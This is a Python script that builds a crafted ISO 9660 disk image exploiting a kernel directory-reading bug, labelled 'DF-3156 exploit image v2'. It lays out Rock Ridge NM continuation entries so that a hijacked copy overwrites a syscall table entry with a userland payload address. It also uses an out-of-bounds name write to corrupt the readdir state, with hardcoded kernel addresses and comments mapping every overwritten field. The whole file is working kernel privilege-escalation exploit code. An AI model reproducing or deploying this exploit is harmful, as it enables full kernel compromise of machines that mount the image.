#!/usr/bin/env python3
# DF-3156 exploit image v2.
#
# Two independent attacker-controlled byte streams:
#  (a) NM chain content  -> idp->current.de.d_name[0..255): this is what the
#      hijacked uiomove() copies into the kernel (dirent header + these bytes)
#  (b) ISO record name   -> the defname() OOB write at d_name+255: smashes
#      the isoreaddir tail (curroff, uio ptr, cookies, ...)
#
# Copy mapping (TARGET = &sysent[71] - 16 = 0xffffffff810c7f98):
#   copy[0..16)   dirent hdr (d_ino, d_namlen, stale) -> sysent[70] (sstk, dead)
#   copy[16..20)  NM[0..4)    -> sysent[71].sy_narg  = 0
#   copy[20..24)  NM[4..8)    -> sysent[71].sy_rsize = 4
#   copy[24..32)  NM[8..16)   -> sysent[71].sy_call  = ring0 stub  <-- HIJACK
#   copy[32..40)  NM[16..24)  -> sysent[71].sy_abort = 0
#   NM[24..120)   restore sysent[72..77] (vadvise, munmap, mprotect, madvise,
#                 vhangup, vlimit) to their original table values so every
#                 live syscall keeps working after the write
# Smash mapping (idp->current.de.d_name + 255 + name[i]):
#   name[17..24)  -> idp->curroff = huge  (readdir loop exits cleanly)
#   name[25..32)  -> idp->uio = fake struct uio (userland)
#   name[53..60)  -> idp->cookies = NULL, name[61..64) ncookies = 0 (zeros)
import struct, sys
sys.path.insert(0, '.')
from craft_dangle import b733, b723, susp, sp, er, px, dirrec, BSZ, ROOT_EXT, TRIG_EXT, NSEC

SYS_NOSYS    = 0xffffffff80661740
SYS_MUNMAP   = 0xffffffff809a8400
SYS_MPROTECT = 0xffffffff809a84e0
SYS_MADVISE  = 0xffffffff809a85d0
PAYLOAD      = 0x0000000020000040
FAKE_UIO     = 0x0000000020001000

def I(v): return struct.pack('<I', v)
def q(v): return struct.pack('<Q', v)

# ---- (a) NM chain: the bytes uiomove copies into sysent ----
nm = bytearray(b'C' * 255)          # filler
def nput(off, data):
    nm[off:off+len(data)] = data

nput(0,  I(0))                       # 71.sy_narg = 0
nput(4,  I(4))                       # 71.sy_rsize = 4
nput(8,  q(PAYLOAD))                 # 71.sy_call = payload  (copy[24..32))
nput(16, q(0))                       # 71.sy_abort
# sysent[72] vadvise (obsolete): {0,4,nosys,0} @ copy[40..64) = NM[24..48)
nput(24, I(0) + I(4) + q(SYS_NOSYS) + q(0))
# sysent[73] munmap: {2,4,munmap,0} @ copy[64..88) = NM[48..72)
nput(48, I(2) + I(4) + q(SYS_MUNMAP) + q(0))
# sysent[74] mprotect: {3,4,...} @ copy[88..112) = NM[72..96)
nput(72, I(3) + I(4) + q(SYS_MPROTECT) + q(0))
# sysent[75] madvise @ copy[112..136) = NM[96..120)
nput(96, I(3) + I(4) + q(SYS_MADVISE) + q(0))
# sysent[76] vhangup {0,4,nosys,0} @ copy[136..160) = NM[120..144)
nput(120, I(0) + I(4) + q(SYS_NOSYS))
# (copy ends at 152: NM[128] would be 77.sy_call low byte; sys_nosys low
#  byte is 0x40 -- set it to keep 77 intact)
nm[128] = 0x40

nm1 = bytes(nm[0:5])                 # first NM entry: 5 payload bytes
nm2 = bytes(nm[5:255])               # continuation entry: 250 bytes

# ---- (b) ISO name: the defname OOB write (idp tail smash) ----
name = bytearray(131)
name[0] = 0x41        # 'A' -- MUST be non-0/1: c==0/1 makes getname() treat
                      # this record as "."/"..", skip the NM table row and run
                      # defname() at the buffer base (no OOB, no hijack)
def xput(off, data):
    name[off:off+len(data)] = data
xput(17, q(0x0000ffffffffffff))       # curroff huge -> loop exit
xput(25, q(FAKE_UIO))                 # idp->uio -> fake
# name[0] = 0 makes defname's switch take case 0 (strcpy ".." at base+255,
# clobbering only saveoff) -- harmless; zeros elsewhere clear cookies etc.

CE_BLK = 34
img = bytearray(b'\x00' * (BSZ * NSEC))
pvd = bytearray(BSZ)
pvd[0] = 1; pvd[1:6] = b'CD001'; pvd[6] = 1
pvd[8:40] = b'DF3156 EXPLOIT IMG2'.ljust(32)
pvd[40:72] = b'DF3156'.ljust(32)
pvd[80:88] = b733(NSEC)
pvd[120:124] = b723(1); pvd[124:128] = b723(1)
pvd[128:132] = b723(BSZ)
pvd[132:140] = b733(10)
root = (bytes([34, 0]) + b733(ROOT_EXT) + b733(BSZ) + bytes(7) +
        bytes([2, 0, 0]) + b723(1) + bytes([1, 0]))
pvd[156:190] = root
pvd[881] = 1
img[16*BSZ:17*BSZ] = pvd
term = bytearray(BSZ); term[0] = 255; term[1:6] = b'CD001'; term[6] = 1
img[17*BSZ:18*BSZ] = term

susp_dot = sp(0) + er() + px(0o040555, 1, 0, 0)
dot    = dirrec(b'\x00', ROOT_EXT, BSZ, 2, susp_dot)
dotdot = dirrec(b'\x01', ROOT_EXT, BSZ, 2, susp_dot)

nm1e = susp('NM', b'\x01' + nm1)      # NM CONT, len 10
cee  = susp('CE', b733(CE_BLK) + b733(0) + b733(255))
trig = dirrec(bytes(name), TRIG_EXT, 0, 0, nm1e + cee)
assert len(trig) == 33 + 131 + 38, len(trig)
z = dirrec(b'Z', TRIG_EXT + 1, 0, 0, px())

d = bytearray(BSZ); off = 0
for rec in (dot, dotdot, trig, z):
    d[off:off+len(rec)] = rec; off += len(rec)
assert off <= BSZ
img[32*BSZ:33*BSZ] = d

ceb = bytearray(BSZ)
nm2e = susp('NM', b'\x01' + nm2)      # NM CONT, len 255 -- chain dangles
assert len(nm2e) == 255
ceb[0:255] = nm2e
img[CE_BLK*BSZ:(CE_BLK+1)*BSZ] = ceb

open(sys.argv[1] if len(sys.argv) > 1 else 'df3156_exploit.iso', 'wb').write(bytes(img))
print('ok')
